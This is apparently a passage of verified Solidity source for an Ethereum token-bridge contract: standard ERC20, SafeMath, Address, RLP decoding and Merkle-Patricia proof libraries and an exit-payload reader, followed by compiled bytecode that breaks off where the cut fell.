existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /* * @author Hamdi Allam [email protected] * Please reach out with any questions or concerns */ pragma solidity ^0.8.0; library RLPReader { uint8 constant STRING_SHORT_START = 0x80; uint8 constant STRING_LONG_START = 0xb8; uint8 constant LIST_SHORT_START = 0xc0; uint8 constant LIST_LONG_START = 0xf8; uint8 constant WORD_SIZE = 32; struct RLPItem { uint256 len; uint256 memPtr; } struct Iterator { RLPItem item; // Item that's being iterated over. uint256 nextPtr; // Position of the next item in the list. } /* * @dev Returns the next element in the iteration. Reverts if it has not next element. * @param self The iterator. * @return The next element in the iteration. */ function next(Iterator memory self) internal pure returns (RLPItem memory) { require(hasNext(self)); uint256 ptr = self.nextPtr; uint256 itemLength = _itemLength(ptr); self.nextPtr = ptr + itemLength; return RLPItem(itemLength, ptr); } /* * @dev Returns true if the iteration has more elements. * @param self The iterator. * @return true if the iteration has more elements. */ function hasNext(Iterator memory self) internal pure returns (bool) { RLPItem memory item = self.item; return self.nextPtr < item.memPtr + item.len; } /* * @param item RLP encoded bytes */ function toRlpItem(bytes memory item) internal pure returns (RLPItem memory) { uint256 memPtr; assembly { memPtr := add(item, 0x20) } return RLPItem(item.length, memPtr); } /* * @dev Create an iterator. Reverts if item is not a list. * @param self The RLP item. * @return An 'Iterator' over the item. */ function iterator(RLPItem memory self) internal pure returns (Iterator memory) { require(isList(self)); uint256 ptr = self.memPtr + _payloadOffset(self.memPtr); return Iterator(self, ptr); } /* * @param item RLP encoded bytes */ function rlpLen(RLPItem memory item) internal pure returns (uint256) { return item.len; } /* * @param item RLP encoded bytes */ function payloadLen(RLPItem memory item) internal pure returns (uint256) { return item.len - _payloadOffset(item.memPtr); } /* * @param item RLP encoded list in bytes */ function toList(RLPItem memory item) internal pure returns (RLPItem[] memory) { require(isList(item)); uint256 items = numItems(item); RLPItem[] memory result = new RLPItem[](items); uint256 memPtr = item.memPtr + _payloadOffset(item.memPtr); uint256 dataLen; for (uint256 i = 0; i < items; i++) { dataLen = _itemLength(memPtr); result[i] = RLPItem(dataLen, memPtr); memPtr = memPtr + dataLen; } return result; } // @return indicator whether encoded payload is a list. negate this function call for isData. function isList(RLPItem memory item) internal pure returns (bool) { if (item.len == 0) return false; uint8 byte0; uint256 memPtr = item.memPtr; assembly { byte0 := byte(0, mload(memPtr)) } if (byte0 < LIST_SHORT_START) return false; return true; } /* * @dev A cheaper version of keccak256(toRlpBytes(item)) that avoids copying memory. * @return keccak256 hash of RLP encoded bytes. */ function rlpBytesKeccak256(RLPItem memory item) internal pure returns (bytes32) { uint256 ptr = item.memPtr; uint256 len = item.len; bytes32 result; assembly { result := keccak256(ptr, len) } return result; } function payloadLocation(RLPItem memory item) internal pure returns (uint256, uint256) { uint256 offset = _payloadOffset(item.memPtr); uint256 memPtr = item.memPtr + offset; uint256 len = item.len - offset; // data length return (memPtr, len); } /* * @dev A cheaper version of keccak256(toBytes(item)) that avoids copying memory. * @return keccak256 hash of the item payload. */ function payloadKeccak256(RLPItem memory item) internal pure returns (bytes32) { (uint256 memPtr, uint256 len) = payloadLocation(item); bytes32 result; assembly { result := keccak256(memPtr, len) } return result; } /** RLPItem conversions into data types **/ // @returns raw rlp encoding in bytes function toRlpBytes(RLPItem memory item) internal pure returns (bytes memory) { bytes memory result = new bytes(item.len); if (result.length == 0) return result; uint256 ptr; assembly { ptr := add(0x20, result) } copy(item.memPtr, ptr, item.len); return result; } // any non-zero byte is considered true function toBoolean(RLPItem memory item) internal pure returns (bool) { require(item.len == 1); uint256 result; uint256 memPtr = item.memPtr; assembly { result := byte(0, mload(memPtr)) } return result == 0 ? false : true; } function toAddress(RLPItem memory item) internal pure returns (address) { // 1 byte for the length prefix require(item.len == 21); return address(uint160(toUint(item))); } function toUint(RLPItem memory item) internal pure returns (uint256) { require(item.len > 0 && item.len <= 33); uint256 offset = _payloadOffset(item.memPtr); uint256 len = item.len - offset; uint256 result; uint256 memPtr = item.memPtr + offset; assembly { result := mload(memPtr) // shfit to the correct location if neccesary if lt(len, 32) { result := div(result, exp(256, sub(32, len))) } } return result; } // enforces 32 byte length function toUintStrict(RLPItem memory item) internal pure returns (uint256) { // one byte prefix require(item.len == 33); uint256 result; uint256 memPtr = item.memPtr + 1; assembly { result := mload(memPtr) } return result; } function toBytes(RLPItem memory item) internal pure returns (bytes memory) { require(item.len > 0); uint256 offset = _payloadOffset(item.memPtr); uint256 len = item.len - offset; // data length bytes memory result = new bytes(len); uint256 destPtr; assembly { destPtr := add(0x20, result) } copy(item.memPtr + offset, destPtr, len); return result; } /* * Private Helpers */ // @return number of payload items inside an encoded list. function numItems(RLPItem memory item) private pure returns (uint256) { if (item.len == 0) return 0; uint256 count = 0; uint256 currPtr = item.memPtr + _payloadOffset(item.memPtr); uint256 endPtr = item.memPtr + item.len; while (currPtr < endPtr) { currPtr = currPtr + _itemLength(currPtr); // skip over an item count++; } return count; } // @return entire rlp item byte length function _itemLength(uint256 memPtr) private pure returns (uint256) { uint256 itemLen; uint256 byte0; assembly { byte0 := byte(0, mload(memPtr)) } if (byte0 < STRING_SHORT_START) itemLen = 1; else if (byte0 < STRING_LONG_START) itemLen = byte0 - STRING_SHORT_START + 1; else if (byte0 < LIST_SHORT_START) { assembly { let byteLen := sub(byte0, 0xb7) // # of bytes the actual length is memPtr := add(memPtr, 1) // skip over the first byte /* 32 byte word size */ let dataLen := div(mload(memPtr), exp(256, sub(32, byteLen))) // right shifting to get the len itemLen := add(dataLen, add(byteLen, 1)) } } else if (byte0 < LIST_LONG_START) { itemLen = byte0 - LIST_SHORT_START + 1; } else { assembly { let byteLen := sub(byte0, 0xf7) memPtr := add(memPtr, 1) let dataLen := div(mload(memPtr), exp(256, sub(32, byteLen))) // right shifting to the correct length itemLen := add(dataLen, add(byteLen, 1)) } } return itemLen; } // @return number of bytes until the data function _payloadOffset(uint256 memPtr) private pure returns (uint256) { uint256 byte0; assembly { byte0 := byte(0, mload(memPtr)) } if (byte0 < STRING_SHORT_START) return 0; else if (byte0 < STRING_LONG_START || (byte0 >= LIST_SHORT_START && byte0 < LIST_LONG_START)) return 1; else if (byte0 < LIST_SHORT_START) // being explicit return byte0 - (STRING_LONG_START - 1) + 1; else return byte0 - (LIST_LONG_START - 1) + 1; } /* * @param src Pointer to source * @param dest Pointer to destination * @param len Amount of memory to copy from the source */ function copy( uint256 src, uint256 dest, uint256 len ) private pure { if (len == 0) return; // copy as many word sizes as possible for (; len >= WORD_SIZE; len -= WORD_SIZE) { assembly { mstore(dest, mload(src)) } src += WORD_SIZE; dest += WORD_SIZE; } if (len == 0) return; // left over bytes. Mask is used to remove unwanted bytes from the word uint256 mask = 256**(WORD_SIZE - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) // zero out src let destpart := and(mload(dest), mask) // retrieve the bytes mstore(dest, or(destpart, srcpart)) } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {RLPReader} from "./RLPReader.sol"; library MerklePatriciaProof { /* * @dev Verifies a merkle patricia proof. * @param value The terminating value in the trie. * @param encodedPath The path in the trie leading to value. * @param rlpParentNodes The rlp encoded stack of nodes. * @param root The root hash of the trie. * @return The boolean validity of the proof. */ function verify( bytes memory value, bytes memory encodedPath, bytes memory rlpParentNodes, bytes32 root ) internal pure returns (bool) { RLPReader.RLPItem memory item = RLPReader.toRlpItem(rlpParentNodes); RLPReader.RLPItem[] memory parentNodes = RLPReader.toList(item); bytes memory currentNode; RLPReader.RLPItem[] memory currentNodeList; bytes32 nodeKey = root; uint256 pathPtr = 0; bytes memory path = _getNibbleArray(encodedPath); if (path.length == 0) { return false; } for (uint256 i = 0; i < parentNodes.length; i++) { if (pathPtr > path.length) { return false; } currentNode = RLPReader.toRlpBytes(parentNodes[i]); if (nodeKey != keccak256(currentNode)) { return false; } currentNodeList = RLPReader.toList(parentNodes[i]); if (currentNodeList.length == 17) { if (pathPtr == path.length) { if (keccak256(RLPReader.toBytes(currentNodeList[16])) == keccak256(value)) { return true; } else { return false; } } uint8 nextPathNibble = uint8(path[pathPtr]); if (nextPathNibble > 16) { return false; } nodeKey = bytes32(RLPReader.toUintStrict(currentNodeList[nextPathNibble])); pathPtr += 1; } else if (currentNodeList.length == 2) { uint256 traversed = _nibblesToTraverse(RLPReader.toBytes(currentNodeList[0]), path, pathPtr); if (pathPtr + traversed == path.length) { //leaf node if (keccak256(RLPReader.toBytes(currentNodeList[1])) == keccak256(value)) { return true; } else { return false; } } //extension node if (traversed == 0) { return false; } pathPtr += traversed; nodeKey = bytes32(RLPReader.toUintStrict(currentNodeList[1])); } else { return false; } } } function _nibblesToTraverse( bytes memory encodedPartialPath, bytes memory path, uint256 pathPtr ) private pure returns (uint256) { uint256 len = 0; // encodedPartialPath has elements that are each two hex characters (1 byte), but partialPath // and slicedPath have elements that are each one hex character (1 nibble) bytes memory partialPath = _getNibbleArray(encodedPartialPath); bytes memory slicedPath = new bytes(partialPath.length); // pathPtr counts nibbles in path // partialPath.length is a number of nibbles for (uint256 i = pathPtr; i < pathPtr + partialPath.length; i++) { bytes1 pathNibble = path[i]; slicedPath[i - pathPtr] = pathNibble; } if (keccak256(partialPath) == keccak256(slicedPath)) { len = partialPath.length; } else { len = 0; } return len; } // bytes b must be hp encoded function _getNibbleArray(bytes memory b) internal pure returns (bytes memory) { bytes memory nibbles = ""; if (b.length > 0) { uint8 offset; uint8 hpNibble = uint8(_getNthNibbleOfBytes(0, b)); if (hpNibble == 1 || hpNibble == 3) { nibbles = new bytes(b.length * 2 - 1); bytes1 oddNibble = _getNthNibbleOfBytes(1, b); nibbles[0] = oddNibble; offset = 1; } else { nibbles = new bytes(b.length * 2 - 2); offset = 0; } for (uint256 i = offset; i < nibbles.length; i++) { nibbles[i] = _getNthNibbleOfBytes(i - offset + 2, b); } } return nibbles; } function _getNthNibbleOfBytes(uint256 n, bytes memory str) private pure returns (bytes1) { return bytes1(n % 2 == 0 ? uint8(str[n / 2]) / 0x10 : uint8(str[n / 2]) % 0x10); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; library Merkle { function checkMembership( bytes32 leaf, uint256 index, bytes32 rootHash, bytes memory proof ) internal pure returns (bool) { require(proof.length % 32 == 0, "Invalid proof length"); uint256 proofHeight = proof.length / 32; // Proof of size n means, height of the tree is n+1. // In a tree of height n+1, max #leafs possible is 2 ^ n require(index < 2**proofHeight, "Leaf index is too big"); bytes32 proofElement; bytes32 computedHash = leaf; for (uint256 i = 32; i <= proof.length; i += 32) { assembly { proofElement := mload(add(proof, i)) } if (index % 2 == 0) { computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } index = index / 2; } return computedHash == rootHash; } } pragma solidity ^0.8.0; import {RLPReader} from "./RLPReader.sol"; library ExitPayloadReader { using RLPReader for bytes; using RLPReader for RLPReader.RLPItem; uint8 constant WORD_SIZE = 32; struct ExitPayload { RLPReader.RLPItem[] data; } struct Receipt { RLPReader.RLPItem[] data; bytes raw; uint256 logIndex; } struct Log { RLPReader.RLPItem data; RLPReader.RLPItem[] list; } struct LogTopics { RLPReader.RLPItem[] data; } // copy paste of private copy() from RLPReader to avoid changing of existing contracts function copy( uint256 src, uint256 dest, uint256 len ) private pure { if (len == 0) return; // copy as many word sizes as possible for (; len >= WORD_SIZE; len -= WORD_SIZE) { assembly { mstore(dest, mload(src)) } src += WORD_SIZE; dest += WORD_SIZE; } // left over bytes. Mask is used to remove unwanted bytes from the word uint256 mask = 256**(WORD_SIZE - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) // zero out src let destpart := and(mload(dest), mask) // retrieve the bytes mstore(dest, or(destpart, srcpart)) } } function toExitPayload(bytes memory data) internal pure returns (ExitPayload memory) { RLPReader.RLPItem[] memory payloadData = data.toRlpItem().toList(); return ExitPayload(payloadData); } function getHeaderNumber(ExitPayload memory payload) internal pure returns (uint256) { return payload.data[0].toUint(); } function getBlockProof(ExitPayload memory payload) internal pure returns (bytes memory) { return payload.data[1].toBytes(); } function getBlockNumber(ExitPayload memory payload) internal pure returns (uint256) { return payload.data[2].toUint(); } function getBlockTime(ExitPayload memory payload) internal pure returns (uint256) { return payload.data[3].toUint(); } function getTxRoot(ExitPayload memory payload) internal pure returns (bytes32) { return bytes32(payload.data[4].toUint()); } function getReceiptRoot(ExitPayload memory payload) internal pure returns (bytes32) { return bytes32(payload.data[5].toUint()); } function getReceipt(ExitPayload memory payload) internal pure returns (Receipt memory receipt) { receipt.raw = payload.data[6].toBytes(); RLPReader.RLPItem memory receiptItem = receipt.raw.toRlpItem(); if (receiptItem.isList()) { // legacy tx receipt.data = receiptItem.toList(); } else { // pop first byte before parsting receipt bytes memory typedBytes = receipt.raw; bytes memory result = new bytes(typedBytes.length - 1); uint256 srcPtr; uint256 destPtr; assembly { srcPtr := add(33, typedBytes) destPtr := add(0x20, result) } copy(srcPtr, destPtr, result.length); receipt.data = result.toRlpItem().toList(); } receipt.logIndex = getReceiptLogIndex(payload); return receipt; } function getReceiptProof(ExitPayload memory payload) internal pure returns (bytes memory) { return payload.data[7].toBytes(); } function getBranchMaskAsBytes(ExitPayload memory payload) internal pure returns (bytes memory) { return payload.data[8].toBytes(); } function getBranchMaskAsUint(ExitPayload memory payload) internal pure returns (uint256) { return payload.data[8].toUint(); } function getReceiptLogIndex(ExitPayload memory payload) internal pure returns (uint256) { return payload.data[9].toUint(); } // Receipt methods function toBytes(Receipt memory receipt) internal pure returns (bytes memory) { return receipt.raw; } function getLog(Receipt memory receipt) internal pure returns (Log memory) { RLPReader.RLPItem memory logData = receipt.data[3].toList()[receipt.logIndex]; return Log(logData, logData.toList()); } // Log methods function getEmitter(Log memory log) internal pure returns (address) { return RLPReader.toAddress(log.list[0]); } function getTopics(Log memory log) internal pure returns (LogTopics memory) { return LogTopics(log.list[1].toList()); } function getData(Log memory log) internal pure returns (bytes memory) { return log.list[2].toBytes(); } function toRlpBytes(Log memory log) internal pure returns (bytes memory) { return log.data.toRlpBytes(); } // LogTopics methods function getField(LogTopics memory topics, uint256 index) internal pure returns (RLPReader.RLPItem memory) { return topics.data[index]; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063aea4e49e1161008c578063de9b771f11610066578063de9b771f1461019d578063e9c670ad146101a5578063f4a120f7146101b8578063f953cec7146101cb576100ea565b8063aea4e49e14610178578063c0857ba01461018d578063d81c8e5214610195576100ea565b80637337957f116100c85780637337957f14610135578063886a69ba1461015557806388e700681461015d578063972c492814610170576100ea565b80630e387de6146100ef578063607f2d421461010d57806369914b3e1461012d575b600080fd5b6100f76101de565b60405161010491906127c1565b60405180910390f35b61012061011b36600461240a565b610202565b60405161010491906127b6565b6100f7610217565b610148610143366004612422565b61021d565b6040516101049190612672565b6100f761025e565b61014861016b366004612312565b610282565b6101486102aa565b61018b610186366004612312565b6102c6565b005b61014861034c565b6100f7610368565b61014861038c565b61018b6101b3366004612380565b6103a8565b61018b6101c6366004612312565b6104f6565b61018b6101d93660046124a6565b610820565b7f8c5261668696ce22758910d05bab8f186d6eb247ceac2af2e82c7dc17669b03681565b60036020526000908152604090205460ff1681565b60055481565b60008060ff60f81b83868660405160200161023b949392919061259c565b60408051601f1981840301815291905280516020909101209150505b9392505050565b7f2cef46a936bdc5b7e6e8c71aa04560c41cf7d88bb26901a7e7f4936ff02accad81565b60046020526000908152604090205473ffffffffffffffffffffffffffffffffffffffff1681565b60025473ffffffffffffffffffffffffffffffffffffffff1681565b60025473ffffffffffffffffffffffffffffffffffffffff16156103055760405162461bcd60e51b81526004016102fc906127f6565b60405180910390fd5b600280547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b7f87a7811f4bfedea3d341ad165680ae306b01aaeacc205d227629cf157dd9f82181565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b73ffffffffffffffffffffffffffffffffffffffff848116600090815260046020526040902054166103dd576103dd846104f6565b6103ff73ffffffffffffffffffffffffffffffffffffffff851633308561083a565b60007f87a7811f4bfedea3d341ad165680ae306b01aaeacc205d227629cf157dd9f821853386868660405160200161043b959493929190612693565b60408051601f198184030181529082905261045992916020016127ca565b6040516020818303038152906040529050610473816108c5565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167f8a58355ceb4626422a66b0f36743672dde8507c6be664f0e5b9de8350a132159866040516104e791906127c1565b60405180910390a45050505050565b73ffffffffffffffffffffffffffffffffffffffff818116600090815260046020526040902054161561053b5760405162461bcd60e51b81526004016102fc9061296a565b600081905060008173ffffffffffffffffffffffffffffffffffffffff166306fdde036040518163ffffffff1660e01b815260040160006040518083038186803b15801561058857600080fd5b505afa15801561059c573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526105c491908101906124d9565b905060008273ffffffffffffffffffffffffffffffffffffffff166395d89b416040518163ffffffff1660e01b815260040160006040518083038186803b15801561060e57600080fd5b505afa158015610622573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261064a91908101906124d9565b905060008373ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561069457600080fd5b505afa1580156106a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106cc919061251f565b905060007f2cef46a936bdc5b7e6e8c71aa04560c41cf7d88bb26901a7e7f4936ff02accad86858585604051602001610708949392919061273a565b60408051601f198184030181529082905261072692916020016127ca565b6040516020818303038152906040529050610740816108c5565b600086604051602001610753919061256c565b60408051601f19818403018152919052805160209091012060055460025491925060009161079891849173ffffffffffffffffffffffffffffffffffffffff1661021d565b73ffffffffffffffffffffffffffffffffffffffff89811660008181526004602052604080822080547fffffffffffffffffffffffff000000000000000000000000000000000000000016948616948517905551939450919290917fc21cd413746aa9146d86960ed90847c18aa555d8dfd256e0aac3954c41e3cfe291a35050505050505050565b600061082b82610956565b905061083681610b81565b5050565b6108bf846323b872dd60e01b85858560405160240161085b939291906126da565b60408051601f198184030181529190526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fffffffff0000000000000000000000000000000000000000000000000000000090931692909217909152610c84565b50505050565b6000546002546040517fb472047700000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9283169263b47204779261092192911690859060040161270b565b600060405180830381600087803b15801561093b57600080fd5b505af115801561094